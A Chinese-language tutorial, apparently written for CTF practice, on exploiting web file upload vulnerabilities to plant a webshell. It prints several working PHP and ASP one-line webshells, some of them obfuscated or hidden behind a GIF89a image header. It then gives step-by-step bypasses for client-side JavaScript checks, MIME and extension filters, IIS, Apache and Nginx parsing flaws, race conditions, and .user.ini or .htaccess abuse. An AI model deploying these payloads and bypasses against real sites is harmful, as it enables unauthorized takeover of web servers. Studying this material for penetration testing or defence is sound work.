參考文章:
https://www.cnblogs.com/20175211lyz/p/10989689.html
https://www.cnblogs.com/wangtanzhi/p/12243206.html
https://xz.aliyun.com/t/7531
寫在前面:
文件上傳漏洞常用於獲取webshell
,從而取得對目標網站(系統)的控制權。要獲取shell
,需要: 1.知道上傳后文件所保存位置(不知道那就猜、爆破,一般是能知道的) 2.上傳后文件的名字(是否被更改)
一句話木馬
<?php eval($_POST['password']);?>
一句話木馬原理及不同類型:https://baike.baidu.com/item/%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC/1845646?fr=aladdin
在文章后續會根據例子提供一句話木馬的變式
毫無過濾
- 直接上傳即可獲取
webshell
前端過濾
繞過js過濾
例:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的文件!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "該文件不允許上傳,請上傳jpg、png、gif結尾的圖片噢!";
alert(errMsg);
return false;
}
}
繞過方式:
- 1
在控制台重新定義函數function checkFile(){}
回車即可(注:需要在未觸發該函數前)
- 2
將一句話木馬文件后綴改為.png .jpg .gif
后,點擊上傳。用BurpSuite
截斷,然后將文件名再替換成.php
后端過濾
利用解析漏洞繞過
轉載,原文地址:https://blog.csdn.net/qq_42636435/article/details/88096844
-
IIS
解析漏洞
IIS 6.0在解析文件時存在以下兩個解析漏洞。
當建立.asa、.asp格式的文件夾時,其目錄下的任意文件都將被IIS當做asp文件來解析。
例如:建立文件夾parsing.asp,在parsing.asp文件夾內新建一個文本文檔test.txt,其內容為<%=NOW()%>,然后在瀏覽器內訪問。
“NOWO”是ASP提供獲取當前時間的函數,TXT是文本文檔格式,IIS是不會去解析此類文件的,應該會直接顯示其內容,而在parsing.asp文件夾中,卻被當作ASP腳本來解析。
當文件為*.asp;1.jpg時,IIS6.0同樣會以ASP腳本來執行,如:新建文件test.asp;1.jpg,內容為<%=NOW()%>。
-
Apache
解析漏洞
Apache是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷,如xxx.php.owf.rar ,”.owf”和”.rar”這兩種后綴是apache解析不了的,apache就會把xxx.php.owf.rar解析成php。
怎么去判斷是不是合法的后綴就是這個漏洞利用關鍵,測試時把常見的后綴都寫上,去測試是不是合法,任意不識別的后綴,逐級向上識別。
有些程序開發人員在上傳文件時,判斷文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等腳本擴展名,如果是,則不允許上傳,這時攻擊者就有可能上傳1.php.rar等擴展名來繞過程序檢測,並配合解析漏洞,獲取到WebShell。
-
Nginx
解析漏洞
解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有這兩種漏洞,一個是對任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。
還有一種是對低版本的Nginx可以在任意文件名后面添加%00.php進行解析攻擊。
猜測過濾規則繞過
- 1.文件后綴名黑名單:
大小寫繞過
Php、PhP···
利用能被解析的后綴名,例如php、php3、php4、php5、php7、pht、phtml、phps
- 2.MIME類型繞過
BurpSuite
抓包,更改content-type
請求頭為image/gif、image/png、image/jpg
- 3.圖片馬內容檢測
例:
解決辦法:更換一句話木馬形式<% eval request("123")%>
等等
- 4.文件內容頭檢測
上述方法均失效時可以考慮一下網站是否檢測了文件頭
解決方法1:添加圖片文件頭到木馬文件
GIF89a? <% eval request("123")%>
文件頭對照參考:https://blog.csdn.net/rrrfff/article/details/7484109
解決方法2:將一張圖片與一句話木馬文件結合
1.記事本打開圖片,在末尾或者之中添加一句話木馬 2.使用命令將圖片與木馬文件結合,鏈接:https://jingyan.baidu.com/article/a65957f42c7c1224e67f9bb1.html
(注:麻煩,且命令好像不對)
其他姿勢
競爭上傳
- 文件上傳后,網站系統會對文件進行惡意代碼檢測,若是存在惡意代碼,則會刪除該文件
- 若在這個操作的時間之內,訪問該上傳的文件,利用之間的時間差來獲取shell
.user.ini
利用 (注:上傳目錄下要有可執行的php
文件,一般是自帶的,而不是自己上傳的,要是可以的話,還需要這么多騷操作干什么)
大佬的教程鏈接:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
利用方式的復現地址:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn
Apache
的.htaccess
大佬的教程鏈接:https://www.cnblogs.com/hmbb/p/9689436.html
常用一句話木馬(php)
GIF89a? <script language="php">eval($_REQUEST[shell])</script>
比較好用<script language=php>system("ls")</script>
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入"h=@eval($_POST[c]);"
<?php $c='ass'.'ert';${c}($_POST[4]);?>
Attention:
一般要利用文件上傳漏洞需要結合上述多種操作才行,需要靈活變通